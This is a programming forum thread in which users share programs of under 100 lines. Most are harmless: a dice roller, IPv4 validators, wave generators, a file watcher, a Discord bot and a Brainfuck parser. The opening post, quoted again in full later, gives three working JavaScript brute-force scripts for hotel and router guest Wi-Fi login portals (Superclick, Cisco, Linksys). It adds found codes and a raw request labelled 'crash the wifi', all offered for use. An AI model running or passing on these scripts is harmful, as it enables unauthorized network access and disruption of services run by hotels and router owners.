Jump to content

The under 100 line challenge!

fletch to 99

Some hotel wifi networks are open, but require you to authenticate with an easily crackable password, so here's a way to bypass that. Made it back in early 2017. For multiple different hotels.

var code = 1000, x, i = 0, concurrent_requests = 0;
//Hotel wifi password cracker(Superclick)
function CrackHotelWifiPassword()
{
	if (code == 10000)
		clearInterval(x);
	if (concurrent_requests >= 20)
		return; //max 20 req running at a time
	concurrent_requests++;
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("POST", "/superclick/wifi_accept.php");
	xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	xmlhttp.code = code;
	xmlhttp.onreadystatechange = function() {
	if (this.readyState === this.DONE) {
			concurrent_requests--;
			var loc = this.responseURL;//this.getResponseHeader("Location");
			console.log(loc);
			if (loc.indexOf("errcode=1") !== -1){ //otherwise it's empty because: http://prntscr.com/elmb70
				//console.log('Invalid code: ' + this.code);
			}
			else{
				console.log('Valid code: ' + this.code);
				//clearInterval(x);
			}
    }
    }
	xmlhttp.send("yesval=yes&noval=no&button=yes&password=" + (code++));
}

x = setInterval(CrackHotelWifiPassword, 250);

//note: must be executed when on https://p2593.superclick.com/std/holiday_inn_new/login_wifi_pin.php?group=4&roomid=1&lang=en&deflang=en&preview=


results:
/*
1005
, 1113, 1170, 1233, 1303, 1329, 1450, 1534, 1766, 1793, 1895, 2159, 
*/

2.

//------------------------------------------------------------------------------------------------
//for: (product=Cisco Router, notes=for the ones with only the password field)

var index = 0, code = 0, concurrent_requests = 0;
var sec_prefixes = ["cucumber", "lettuce", "kiwi", "olive", "potato", "tomato", "onion", "cabbage", "carrot", "eggplant", "radish", "garlic", "turnip", "maize", "broccoli", "spinach", "celery", "scallion", "zucchini", "artichoke"];

var x = setInterval(function(){
	if (concurrent_requests >= 40)
		return; //max 40 req running at a time
	if (code == 100){
	    code = 0;
	    index++;
	}
	if (index == sec_prefixes.length){
	clearInterval(x);
	return;
	}
	concurrent_requests++;
	id = sec_prefixes[index] + ("00" + code++).slice(-2);
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("POST", "/guestnetwork.cgi");
	xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	xmlhttp.code = id;
	xmlhttp.onreadystatechange = function() {
	if (this.readyState === this.DONE) {
			concurrent_requests--;
			if (this.responseText.indexOf("var deny='1'") === -1){
					console.log("Found PWD: " + this.responseURL + " - " + this.pwd);
					clearInterval(x);
            }
		else
			console.log('Incorrect PWD: ' + this.pwd);
    }
    }
	xmlhttp.send("submit_button=login&change_action=&action=Apply&wait_time=0&submit_type=&gn_host_url=google.com&gn_view_type=0&guest_login=" + encodeURIComponent(id));
}, 10);

3

//---------------------------------------------------------------------------------------
//LINKSYS Smart Wi-Fi guest password cracker
var code = 1, concurrent_requests = 0;

x = setInterval(function()
{
	if (code == 10000)
		clearInterval(x);
	if (concurrent_requests >= 20)
		return; //max 20 req running at a time
	concurrent_requests++;
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("POST", "/JNAP/");
	xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	xmlhttp.setRequestHeader('X-JNAP-Action', 'http://cisco.com/jnap/guestnetwork/Authenticate');
	xmlhttp.setRequestHeader('X-JNAP-Authorization', 'undefined');
	xmlhttp.code = code;
	xmlhttp.onreadystatechange = function() {
	if (this.readyState === this.DONE) {
			concurrent_requests--;
			var loc = this.responseURL;//this.getResponseHeader("Location");
			if (loc.indexOf('"result": "ErrorInvalidPassword"') !== -1){ //otherwise it's empty because: 
					console.log('Valid code: ' + this.code);
			}
    }
    }
	xmlhttp.send('{"macAddress":"d0:53:49:3e:90:ed","ipAddress":"192.168.3.125","password":"'+ (code++) +'"}');
}, 10);

crash the wifi:
POST http://192.168.3.1:10080/JNAP/ HTTP/1.1
Host: 192.168.3.1:10080
Connection: keep-alive
Content-Length: 52
X-JNAP-Action: http://cisco.com/jnap/guestnetwork/Authenticate
X-JNAP-Authorization: undefined
Origin: http://192.168.3.1:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Expires: Sun Mar 19 2017 17:51:19 GMT-0500 (Central Daylight Time)
DNT: 1
Referer: http://192.168.3.1:10080/ui/dynamic/guest-login.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

{"macAddress":"","ipAddress":null,"password":"1234"}

 

Link to comment
Share on other sites

Link to post
Share on other sites

  • 2 weeks later...

Python dice roller. Works with whole numbers, catches errors when a decimal or word is entered.

#Dice roller v3
#By: purple_rider
#Python 3.7.1

import random

print("*Automatic Dice Roller*")
while True:

    print('-------------------------------')
    while True:
        try:
            number = int(input('Enter number of dice: '))
            break
        except ValueError:
            print('Oops! Try again with a whole number this time')
    while True:
        try:
            size = int(input('Enter size of dice: '))
            break
        except ValueError:
            print('Oops! Try again with a whole number this time')

    for number in range(number):
        roll = random.randint(1,size)
        print(roll)

 

And on the first day god said: "Cue one GO" And there was light!

Link to comment
Share on other sites

Link to post
Share on other sites

Just a simple Java Program, it check if a IP v4 Address is valid



import java.util.Scanner;

class Lesson_14_Activity_Three {
    public static void main(String[] args)
     {
     
     Scanner scan = new Scanner(System.in);
     
     int ipCheck1;
     int ipCheck2;
     int ipCheck3;
     int ipCheck4;
    
     
     
          
     System.out.println("Please enter the first octet: ");
     int ip1 = scan.nextInt();
     System.out.println("Please enter the second octet: ");
     int ip2 = scan.nextInt();
     System.out.println("Please enter the thrid octet: ");
     int ip3 = scan.nextInt();
     System.out.println("Please enter the fourth octet: ");
     int ip4 = scan.nextInt();
     
     if ((ip1 >= 0) && (ip1 <= 255)){
        ipCheck1 = 1;}
     else {
      System.out.println("Octet 1 is incorrect");
      ipCheck1 = 0;}
      
     if ((ip2 >= 0) && (ip2 <= 255)){
       ipCheck2 = 1;}
     else {
      System.out.println("Octet 2 is incorrect");
       ipCheck2 = 0;}
      
     if ((ip3 >= 0) && (ip3 <= 255)){
       ipCheck3 = 1;}
     else {
      System.out.println("Octet 3 is incorrect");
       ipCheck3 = 0;}
      
     if ((ip4 >= 0) && (ip4 <= 255)){
       ipCheck4 = 1;}
     else {
      System.out.println("Octet 4 is incorrect");
       ipCheck4 = 0; }
      
      if ((ipCheck1 == 1) && (ipCheck2 == 1) && (ipCheck3 == 1) && (ipCheck4 == 1)){
      System.out.println("IP Address: "+ ip1 +"."+ ip2 + "." + ip3 + "." + ip4);}
     
    }
}

 

Link to comment
Share on other sites

Link to post
Share on other sites

18 minutes ago, gutz00 said:

Just a simple Java Program, it check if a IP v4 Address is valid

If I could poke at this code for a moment...

 

See if you can re-write it so the program doesn't wait until all four octets are inputted before checking its range, rather it demands that the octet is correct before moving on to the next one.

Link to comment
Share on other sites

Link to post
Share on other sites

On 10/31/2018 at 8:33 PM, M.Yurizaki said:

If I could poke at this code for a moment...

 

See if you can re-write it so the program doesn't wait until all four octets are inputted before checking its range, rather it demands that the octet is correct before moving on to the next one.

Here it is in c++, 25 lines that demands a correct octet before moving on like you said.

#include <iostream>
#include <string>

int main()
{
	int octet;
	std::string ipAddress = "";

	for (unsigned int i = 0; i < 4; i++)
	{
		std::cout << "Please enter octet #" << i + 1 << ":\n";
		do
		{
			std::cin >> octet;
			if (!(octet >= 0 && octet <= 255))
				std::cout << "That octet is invalid. Please try again.\n";
		} while (!(octet >= 0 && octet <= 255));
		ipAddress += std::to_string(octet) + ".";
	}

	std::cout << "IP Address: " << ipAddress << "\b \n";

	system("pause");
	return 0;
}

/*
	Please enter octet #1:
	1
	Please enter octet #2:
	2
	Please enter octet #3:
	3
	Please enter octet #4:
	4
	IP Address: 1.2.3.4
	Press any key to continue . . .
*/

 

Link to comment
Share on other sites

Link to post
Share on other sites

  • 2 weeks later...
On 10/18/2018 at 4:34 PM, vt-x said:

Some hotel wifi networks are open, but require you to authenticate with an easily crackable password, so here's a way to bypass that. Made it back in early 2017. For multiple different hotels.


var code = 1000, x, i = 0, concurrent_requests = 0;
//Hotel wifi password cracker(Superclick)
function CrackHotelWifiPassword()
{
	if (code == 10000)
		clearInterval(x);
	if (concurrent_requests >= 20)
		return; //max 20 req running at a time
	concurrent_requests++;
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("POST", "/superclick/wifi_accept.php");
	xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	xmlhttp.code = code;
	xmlhttp.onreadystatechange = function() {
	if (this.readyState === this.DONE) {
			concurrent_requests--;
			var loc = this.responseURL;//this.getResponseHeader("Location");
			console.log(loc);
			if (loc.indexOf("errcode=1") !== -1){ //otherwise it's empty because: http://prntscr.com/elmb70
				//console.log('Invalid code: ' + this.code);
			}
			else{
				console.log('Valid code: ' + this.code);
				//clearInterval(x);
			}
    }
    }
	xmlhttp.send("yesval=yes&noval=no&button=yes&password=" + (code++));
}

x = setInterval(CrackHotelWifiPassword, 250);

//note: must be executed when on https://p2593.superclick.com/std/holiday_inn_new/login_wifi_pin.php?group=4&roomid=1&lang=en&deflang=en&preview=


results:
/*
1005
, 1113, 1170, 1233, 1303, 1329, 1450, 1534, 1766, 1793, 1895, 2159, 
*/

2.


//------------------------------------------------------------------------------------------------
//for: (product=Cisco Router, notes=for the ones with only the password field)

var index = 0, code = 0, concurrent_requests = 0;
var sec_prefixes = ["cucumber", "lettuce", "kiwi", "olive", "potato", "tomato", "onion", "cabbage", "carrot", "eggplant", "radish", "garlic", "turnip", "maize", "broccoli", "spinach", "celery", "scallion", "zucchini", "artichoke"];

var x = setInterval(function(){
	if (concurrent_requests >= 40)
		return; //max 40 req running at a time
	if (code == 100){
	    code = 0;
	    index++;
	}
	if (index == sec_prefixes.length){
	clearInterval(x);
	return;
	}
	concurrent_requests++;
	id = sec_prefixes[index] + ("00" + code++).slice(-2);
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("POST", "/guestnetwork.cgi");
	xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	xmlhttp.code = id;
	xmlhttp.onreadystatechange = function() {
	if (this.readyState === this.DONE) {
			concurrent_requests--;
			if (this.responseText.indexOf("var deny='1'") === -1){
					console.log("Found PWD: " + this.responseURL + " - " + this.pwd);
					clearInterval(x);
            }
		else
			console.log('Incorrect PWD: ' + this.pwd);
    }
    }
	xmlhttp.send("submit_button=login&change_action=&action=Apply&wait_time=0&submit_type=&gn_host_url=google.com&gn_view_type=0&guest_login=" + encodeURIComponent(id));
}, 10);

3


//---------------------------------------------------------------------------------------
//LINKSYS Smart Wi-Fi guest password cracker
var code = 1, concurrent_requests = 0;

x = setInterval(function()
{
	if (code == 10000)
		clearInterval(x);
	if (concurrent_requests >= 20)
		return; //max 20 req running at a time
	concurrent_requests++;
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("POST", "/JNAP/");
	xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	xmlhttp.setRequestHeader('X-JNAP-Action', 'http://cisco.com/jnap/guestnetwork/Authenticate');
	xmlhttp.setRequestHeader('X-JNAP-Authorization', 'undefined');
	xmlhttp.code = code;
	xmlhttp.onreadystatechange = function() {
	if (this.readyState === this.DONE) {
			concurrent_requests--;
			var loc = this.responseURL;//this.getResponseHeader("Location");
			if (loc.indexOf('"result": "ErrorInvalidPassword"') !== -1){ //otherwise it's empty because: 
					console.log('Valid code: ' + this.code);
			}
    }
    }
	xmlhttp.send('{"macAddress":"d0:53:49:3e:90:ed","ipAddress":"192.168.3.125","password":"'+ (code++) +'"}');
}, 10);

crash the wifi:
POST http://192.168.3.1:10080/JNAP/ HTTP/1.1
Host: 192.168.3.1:10080
Connection: keep-alive
Content-Length: 52
X-JNAP-Action: http://cisco.com/jnap/guestnetwork/Authenticate
X-JNAP-Authorization: undefined
Origin: http://192.168.3.1:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Expires: Sun Mar 19 2017 17:51:19 GMT-0500 (Central Daylight Time)
DNT: 1
Referer: http://192.168.3.1:10080/ui/dynamic/guest-login.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

{"macAddress":"","ipAddress":null,"password":"1234"}

 

whats the success rate? 

Sudo make me a sandwich 

Link to comment
Share on other sites

Link to post
Share on other sites

  • 1 month later...

Wave generators. So far I have 3 wave types in 69 lines, atleast in the code golf version (which is identical less comments). That could be shortened by about 5 lines (see code comments for CosineWave). I plan to add other wave types, as well as synthesis functions. All waves are in the form of numpy arrays that are T * Fs in length. I'm still debating about adding other functionality and return types. One of the prime things I'm thinking about is incorporating HoloViews objects into my return types, to make graphing easier.

 

import numpy as np 
import matplotlib.pyplot as plt 

class Wave:

    def __init__(self, **kwargs):
        self.frequency = 1
        self.amplitude = 1
        self.phase_shift = 0
        self.vertical_shift = 0
        self.sampling_frequency = 1000
        self.time = 5

        allowed_keys = list(self.__dict__.keys())
        self.__dict__.update((key, value) for key, value in kwargs.items() if key in allowed_keys)

    def get_time_axis(self):
        return np.linspace(0, self.time, self.sampling_frequency * self.time)

    def get_amplitude_axis(self):
        raise NotImplementedError("get_amplitude_axis must be implemented by child classes")

class SineWave(Wave):

    def __init__(self, **kwargs):
        super(SineWave, self).__init__(**kwargs)

    def get_amplitude_axis(self):
        phase_radians = (self.phase_shift * np.pi) / 180
        frequency_circle = 2 * np.pi * self.frequency

        phase_shifted_sine = np.sin((frequency_circle * self.get_time_axis() + phase_radians))
        amplitude_adjusted_sine = phase_shifted_sine * self.amplitude
        
        return amplitude_adjusted_sine + self.vertical_shift

class CosineWave(Wave):

    def __init__(self, **kwargs):
        super(CosineWave, self).__init__(**kwargs)

    def get_amplitude_axis(self):
        # Trivially, this could be done by shifting sine left 90 degrees. In code golf that would save some lines
        phase_radians = (self.phase_shift * np.pi) / 180
        frequency_circle = 2 * np.pi * self.frequency

        phase_shifted_cosine = np.cos((frequency_circle * self.get_amplitude_axis()) + phase_radians)
        amplitude_adjusted_cosine = phase_shifted_cosine * self.amplitude

        return amplitude_adjusted_cosine + self.vertical_shift

class SawWave(Wave):

    def __init__(self, **kwargs):
        super(SawWave, self).__init__(**kwargs)

    def get_amplitude_axis(self):
        amplitude_term = -((2 * self.amplitude) / np.pi)
        phase_radians = (self.phase_shift * np.pi) / 180
        period = 1 / self.frequency
        
        # here we are going to build cotangent by cos/sin
        sin = np.sin(((self.get_time_axis() * np.pi) / period) + phase_radians)
        cos = np.cos(((self.get_time_axis() * np.pi) / period) + phase_radians)
        cotangent = cos / sin

        #what we really wanted was arctan(cotan(x)). we also scale by amplitude
        amplitude_saw = np.arctan(cotangent) * amplitude_term

        return amplitude_saw + self.vertical_shift

 

ENCRYPTION IS NOT A CRIME

Link to comment
Share on other sites

Link to post
Share on other sites

Crappy hacked together sorting algorithm that I use to sort a JS object.

 

const sortByMostCommon = tags => {
    const keys = Object.keys(tags);
    const sorted = [];
    const next = (keys, sorted) => {
        let maxLeft = 0;
        let maxLeftKey = null;
        let maxLeftIdx = 0;
        for (let i = 0; i < keys.length; i++) {
            const key = keys[i];
            if (tags[key] >= maxLeft) {
                maxLeft = tags[key];
                maxLeftKey = key;
                maxLeftIdx = i;
            }
        }
        sorted.push({[maxLeftKey]: tags[maxLeftKey]});
        keys.splice(maxLeftIdx, 1);
        if (keys.length > 0) {
            next(keys, sorted);
        }
    };
    next(keys, sorted);

    return sorted;
};

const sorted = sortByMostCommon({
    test0: 90,
    test1: 2,
    test2: 14,
});

 

Link to comment
Share on other sites

Link to post
Share on other sites

This is a small bash script I wrote that I use in my Pandoc workflow to write things for school.

I use it to watch the markdown file I'm currently working on, and then executes my compile command when I save it.

 

#!/bin/bash

set -e

# A script that when run as
# `./onchangedo.sh <file> <command>`
# executes the `<command>` every time the `<file>` changes
# @DEPENDS notify-tools

# dependency check
if hash inotifywait 2>/dev/null; then
  if (( $# == 2 )); then
    FILE="$1"
    COMMAND="$2"
    if [ -f "$FILE" ]; then
      while inotifywait -e close_write "$FILE" || true; do eval "$COMMAND"; done
    fi
  else
    echo "Usage: ./onchangedo.sh <file> <command>"
  fi
else
  echo "This script requires notify-tools to be installed!"
  echo "(Specifically the 'inotifywait' command)"
  exit 1
fi

 

btw I use arch

Link to comment
Share on other sites

Link to post
Share on other sites

  • 2 weeks later...

Here's a function I've been using to take line-separated entries you can convert to be used in a SQL 'IN' statement

 

/**
 * text {text} The line separated string to be converted
 * options {object} Set 'oneLinePerItem' to true to output each item on new line
 *                  Set 'ignoreDuplicates' to only output one of each item
 *                  Set 'ignoreWhiteLines' to not take white line inputs into consideration
 **/
function convertCommaSepList(text, options = {}) {
  if (text || text === 0) {
    var stringOutput = [];
    text.split("\n").forEach(function(n){
      var strToOutput;
      if (typeof n === "string" && (!(!isNaN(parseFloat(n)) && isFinite(n)))) {
        strToOutput = ("'" + n.trim().replace("'", "''") + "'");
      } else if (!isNaN(parseFloat(n)) && isFinite(n)) {
        if (options.treatListNumbersAsStrings) {
          strToOutput = ("'" + n.trim().replace("'", "''") + "'");
        } else {  
          strToOutput = n;
        }
      }

      if (options.oneLinePerItem) {
        stringOutput.push(strToOutput + "\r\n");
      } else {
        stringOutput.push(strToOutput);
      }
    });

    if (options.ignoreDuplicates) {
      stringOutput = stringOutput.filter(function(value, index, self) { 
          return self.indexOf(value) === index;
      });
    }

    var result = stringOutput.join(",").trimEnd();

    if (options.ignoreWhiteLines) {
      result = result.replace(/'',/g, "");
    }

    return result;
  }
  return text
}

 


 

Link to comment
Share on other sites

Link to post
Share on other sites

After getting tired of people complaining that you can't make a console game engine in C# because of flicker, and having got some experience working with the console buffer in c++, I decided to try my hand at making a C# utility that allows you to act like you are doing console buffer swaps, is low overhead, and doesn't introduce flicker.

After a few hours of trying different things, I stumbled across the pattern:

Console.SetCursorPosition(0, 0);
Console.Write(char[]);

Since, when doing buffer swaps you are just rewriting the entire buffer anyway, this allows one to think like they are just doing it the Win32 way. Here's the beginnings of a class that implements that.
 

    // This is the screen that we are drawing on.
    // So far I haven't noticed any flickering.
    class Screen
    {
        // properties
        public char[] ScreenArray { get; set; }
        public int ScreenWidth { get; set; }
        public int ScreenHeight { get; set; }
        public string WindowTitle { get; set; }

        // fields
        private readonly int _MAX_WINDOW_WIDTH = 230; // These values produce a nearly maximum sized
        private readonly int _MAX_WINDOW_HEIGHT = 60; // window on a 1080p monitor.

        private readonly int _STANDARD_WINDOW_WIDTH = 120; // these values produce a nice sized window
        private readonly int _STANDARD_WINDOW_HEIGHT = 40;

        //constructors
        public Screen() { this.Setup(this._STANDARD_WINDOW_WIDTH, this._STANDARD_WINDOW_HEIGHT, "Screen Game Engine"); }

        public Screen(string title) { this.Setup(this._STANDARD_WINDOW_WIDTH, this._STANDARD_WINDOW_HEIGHT, title); }

        public Screen(int width, int height, string title) { this.Setup(width, height, title); }

        // helper function for constructors
        private void Setup(int width, int height, string title)
        {
            if (width > this._MAX_WINDOW_WIDTH)
                throw new ArgumentOutOfRangeException("The maximum width of a console window is {0}. Yours was {1}.", Convert.ToString(this._MAX_WINDOW_WIDTH), Convert.ToString(width));

            if (height > this._MAX_WINDOW_HEIGHT)
                throw new ArgumentOutOfRangeException("The maximum height of a console window is {0}. Yours was {1}.", Convert.ToString(this._MAX_WINDOW_HEIGHT), Convert.ToString(height));

            this.ScreenWidth = width;
            this.ScreenHeight = height;

            Console.SetWindowSize(width, height);
            Console.SetBufferSize(width, height);

            Console.CursorVisible = false;
            Console.Title = title;
        }

        // methods

        // when draw is called, it draws ScreenArray onto the console
        // at this time, if your screen contains multiple lines, you must
        // insert '\n' at the appropriate index, or make sure that the ScreenArray is 
      	// console width aligned.
        public void Draw()
        {
            Console.SetCursorPosition(0, 0);
            Console.Write(this.ScreenArray);
        }
    }

Including comments, it comes in at 53 lines.

EDIT::

In some circumstances, the Draw method will scroll past the end of the last line, and end up hiding the first line of characters in ScreenArray. There are two methods to fix this issue:

Console.BufferWidth++;
Console.Write(ScreenArray);
Consol.BufferWidth--;

// However, this method can cause a flickering 
// side scroll bar.
Console.SetCursorPosition(0,0);
Console.Write(ScreenArray);
Console.SetCursorPosition(0,0);
Console.Write(ScreenArray[0]);

// This method doesn't cause flickering


 

ENCRYPTION IS NOT A CRIME

Link to comment
Share on other sites

Link to post
Share on other sites

Here is what is essentially a very early version of a discord bot that I wrote to fetch information from the EVE Online API (known as ESI), as well as zKillboard, a third party site that tracks player kills and losses. This bot makes use of discord.py (async branch).

 

import discord
from discord.ext.commands import Bot
import asyncio, aiohttp
import json
import datetime
import urllib

# Settings
prefix = '/'
TOKEN = ""
app = ""
contact = ""
headers = {'user-agent': f"Application: {app} Contact: {contact}", 'content-type': 'application/json'}

bot = Bot(command_prefix=prefix)

# Util Functions
async def getID(name):
    urlName = urllib.parse.quote_plus(name)
    url = f"https://esi.evetech.net/v2/search/?categories=character&datasource=tranquility&search={urlName}&strict=true"
    async with aiohttp.Clientsession().get(url, headers=headers) as response:
        r = response.json()
        if 'character' in r:
            return r['character'][0]
        else:
            return None

async def getKB(cid: int):
    time = datetime.datetime.utcnow().strftime("%Y%m")
    url = f"https://zkillboard.com/api/stats/characterID/{cid}/"
    async with aiohttp.Clientsession().get(url, headers=headers) as response:
        select = response.json() 
    stats = {'danger': select["dangerRatio"], 'gang': select["gangRatio"],
            'kills_all': select["allTimeSum"], 'kills_mo': select["months"][time]["shipsDestroyed"],
            'kburl': f"http://zkillboard.com/character/{cid}"}
    return stats

# Bot Functions
@bot.event
async def on_ready():
    print(f"Bot Online! \nLogged in as: {bot.user.name}")

@bot.command(aliases = ['eve_time', 'evetime', 'et'])
async def time():
    time = datetime.datetime.utcnow()
    return await bot.say("Current EVE (UTC) Time: " + time.strftime("%H:%M"))

@bot.command(aliases = ['t'])
async def threat(*, char: str):
    cid = await getID(char)
    if cid == None:
        return await bot.say("Character not found!")
    stats = await getKB(cid)
    
    return await bot.say(f":alien: {char} \n\n :skull_crossbones: {stats['danger']}  :children_crossing: {stats['gang']} :knife: {stats['kills_all']} :calendar: {stats['kills_mo']} \n\n\n :bookmark: {stats['kburl']}")

bot.run(TOKEN)

The current version of the bot exists here: https://gitlab.com/colcrunch/killbot (About 48x the number of lines now :P)

Link to comment
Share on other sites

Link to post
Share on other sites

  • 4 weeks later...

Here's a parser that takes in an unformatted string representing a Brainfuck source file, removes all comment characters, and checks for mismatched parenthesis. The mismatched parentheses check should probably be moved to a lexer, but there are only two steps involved in lexing/parsing brainfuck: Remove all characters that aren't operators, and check for mismatched parentheses. Language is C#. 95 lines.

 

using System;
using System.Collections.Generic;

namespace BrainFuckInterpreter.SourceManipulation
{
    public class MismatchedParenthesesException : Exception
    {
        public MismatchedParenthesesException() : base("The source code contained mismatched parentheses.") { }

        public MismatchedParenthesesException(string message) : base(message) { }

        public MismatchedParenthesesException(string message, Exception inner) : base(message, inner) { }
    }

    public class SourceStringParser
    {
        public List<char> ValidChars { get; private set; }

        public SourceStringParser()
        {
            char[] tmp = { '>', '<', '+', '-', '.', ',', '[', ']' };
            ValidChars = new List<char>(tmp);
        }

        public string LexSourceString(string rawSource)
        {
            string commentsRemoved = RemoveInvalidChars(rawSource);

            // At the end of the loop, if parenCounter is empty, then 
            // there were no mismatched parentheses. Otherwise, parenCounter 
            // is a list of the parentheses which were mismatched.
            Stack<Paren> parenCounter = new Stack<Paren>();

            for (int i = 0; i < commentsRemoved.Length; i++)
            {
                if (commentsRemoved[i] == '[')
                    parenCounter.Push(new Paren(i, '['));

                else if (commentsRemoved[i] == ']')
                {
                    if (StackContainsBackParen(parenCounter))
                        parenCounter.Push(new Paren(i, ']'));

                    else
                        parenCounter.Pop();
                }
            }

            if (parenCounter.Count > 0)
            {
                // TODO: Derive a properly formatted string to place into the exception
                throw new MismatchedParenthesesException();
            }

            else
                return commentsRemoved;
        }

        private string RemoveInvalidChars(string rawSource)
        {
            string formattedSource = "";

            foreach (char i in rawSource)
                if (ValidChars.Contains(i))
                    formattedSource += i;

            return formattedSource;
        }

        private bool StackContainsBackParen(Stack<Paren> parenStack)
        {
            bool containsBackParen = false;

            foreach (Paren p in parenStack)
                if (p.Type == ']')
                {
                    containsBackParen = true;
                    break;
                }
            return containsBackParen;
        }

        private struct Paren
        {
            public int Index { get; private set; }
            public char Type { get; private set; }

            public Paren(int index, char type)
            {
                Index = index;
                Type = type;
            }
        }
    }
}

 

ENCRYPTION IS NOT A CRIME

Link to comment
Share on other sites

Link to post
Share on other sites

On 6/14/2013 at 9:29 PM, deafboy said:

Under 100 lines... does that include comments?

 

This might be fun :)

just make inline comments, I'm very sure you're not desperate enough to sacrifice whole lines to just comments :)

Retrowave

Air cooled version of my first PC.

 

CPU: Intel Core i7-8700K

Cooler: Corsair H150i PRO

Thermal Compound: Thermal Grizzly Kryonaut Thermal Paste

Motherboard: Asus ROG MAXIMUS X HERO (WI-FI AC)

RAM: G.Skill Trident Z RGB 32GB (4 x 8GB) DDR4-3600 Memory

SSD: Samsung 960 Pro 512Gb M.2-2280 Solid State Drive

SSD 2: Samsung 970 EVO Plus 1TB M.2-2280 Solid State Drive

HDD: WD Black 6TB 3.5" 7200RPM Internal Hard Drive

HDD 2: Seagate Barracuda PRO 4TB 3.5" 7200RPM Internal Hard Drive

GPU: EVGA GeForce GTX 1080 Ti FTW3

Case: LIAN LI O11 Dynamic XL

PSU: EVGA SuperNOVA P2 1000W 80+ Platinum Fully-Modular ATX Power Supply

Case Fans: Corsair LL120

Fan Controller: Corsair Commander Pro

 

Set Up

  • Mouse: Razer Deathadder Elite
  • Keyboard: Razer Blackwidow X Chroma
  • Mousepad: Steelseries QcK Gaming Mousepad
  • Monitor: Asus ROG Swift PG278QR
  • Audio
    • AMP: Sennheiser GSX1000
    • Headphones: Sennheiser 58X
    • Speakers: Bose Companion 2 Series III
  • Oculus Rift + Touch 3 Sensor Roomscale Setup
Link to comment
Share on other sites

Link to post
Share on other sites

On 6/15/2013 at 8:08 AM, Cheesebaron said:

Is it allowed to use external libraries? Also, how do you count lines? For instance you can just cramp up all your code on one line if the language uses delimiters such as ;{}()[]

I just realized that that's soo smart, makes 10 files full of like 1,000 lines each, imports them all to one file, Best program in in 10 lines *insert mischievous face here*

Retrowave

Air cooled version of my first PC.

 

CPU: Intel Core i7-8700K

Cooler: Corsair H150i PRO

Thermal Compound: Thermal Grizzly Kryonaut Thermal Paste

Motherboard: Asus ROG MAXIMUS X HERO (WI-FI AC)

RAM: G.Skill Trident Z RGB 32GB (4 x 8GB) DDR4-3600 Memory

SSD: Samsung 960 Pro 512Gb M.2-2280 Solid State Drive

SSD 2: Samsung 970 EVO Plus 1TB M.2-2280 Solid State Drive

HDD: WD Black 6TB 3.5" 7200RPM Internal Hard Drive

HDD 2: Seagate Barracuda PRO 4TB 3.5" 7200RPM Internal Hard Drive

GPU: EVGA GeForce GTX 1080 Ti FTW3

Case: LIAN LI O11 Dynamic XL

PSU: EVGA SuperNOVA P2 1000W 80+ Platinum Fully-Modular ATX Power Supply

Case Fans: Corsair LL120

Fan Controller: Corsair Commander Pro

 

Set Up

  • Mouse: Razer Deathadder Elite
  • Keyboard: Razer Blackwidow X Chroma
  • Mousepad: Steelseries QcK Gaming Mousepad
  • Monitor: Asus ROG Swift PG278QR
  • Audio
    • AMP: Sennheiser GSX1000
    • Headphones: Sennheiser 58X
    • Speakers: Bose Companion 2 Series III
  • Oculus Rift + Touch 3 Sensor Roomscale Setup
Link to comment
Share on other sites

Link to post
Share on other sites

On 6/15/2013 at 11:29 AM, ChrisPBacon2010 said:

YouTube competition winner generator, paste YouTube video link in and click generate.

 

All commenters will be recorded and get one entry each (excludes replies) and then one of those users gets randomly picked as the winner - https://gist.github.com/Cirx08/9ccbdce2d21cabefa472#file-random-youtube-winner

can you relink it because the link isn't working anymore and I want to see how you did it, it sounds realllly cool!!

Retrowave

Air cooled version of my first PC.

 

CPU: Intel Core i7-8700K

Cooler: Corsair H150i PRO

Thermal Compound: Thermal Grizzly Kryonaut Thermal Paste

Motherboard: Asus ROG MAXIMUS X HERO (WI-FI AC)

RAM: G.Skill Trident Z RGB 32GB (4 x 8GB) DDR4-3600 Memory

SSD: Samsung 960 Pro 512Gb M.2-2280 Solid State Drive

SSD 2: Samsung 970 EVO Plus 1TB M.2-2280 Solid State Drive

HDD: WD Black 6TB 3.5" 7200RPM Internal Hard Drive

HDD 2: Seagate Barracuda PRO 4TB 3.5" 7200RPM Internal Hard Drive

GPU: EVGA GeForce GTX 1080 Ti FTW3

Case: LIAN LI O11 Dynamic XL

PSU: EVGA SuperNOVA P2 1000W 80+ Platinum Fully-Modular ATX Power Supply

Case Fans: Corsair LL120

Fan Controller: Corsair Commander Pro

 

Set Up

  • Mouse: Razer Deathadder Elite
  • Keyboard: Razer Blackwidow X Chroma
  • Mousepad: Steelseries QcK Gaming Mousepad
  • Monitor: Asus ROG Swift PG278QR
  • Audio
    • AMP: Sennheiser GSX1000
    • Headphones: Sennheiser 58X
    • Speakers: Bose Companion 2 Series III
  • Oculus Rift + Touch 3 Sensor Roomscale Setup
Link to comment
Share on other sites

Link to post
Share on other sites

4 lines of python code that returns the position of your mouse every time you press enter in the console of the running file, enjoy :).

 

import pyautogui as gui
while True:
	input()
    print(gui.position())

 

Retrowave

Air cooled version of my first PC.

 

CPU: Intel Core i7-8700K

Cooler: Corsair H150i PRO

Thermal Compound: Thermal Grizzly Kryonaut Thermal Paste

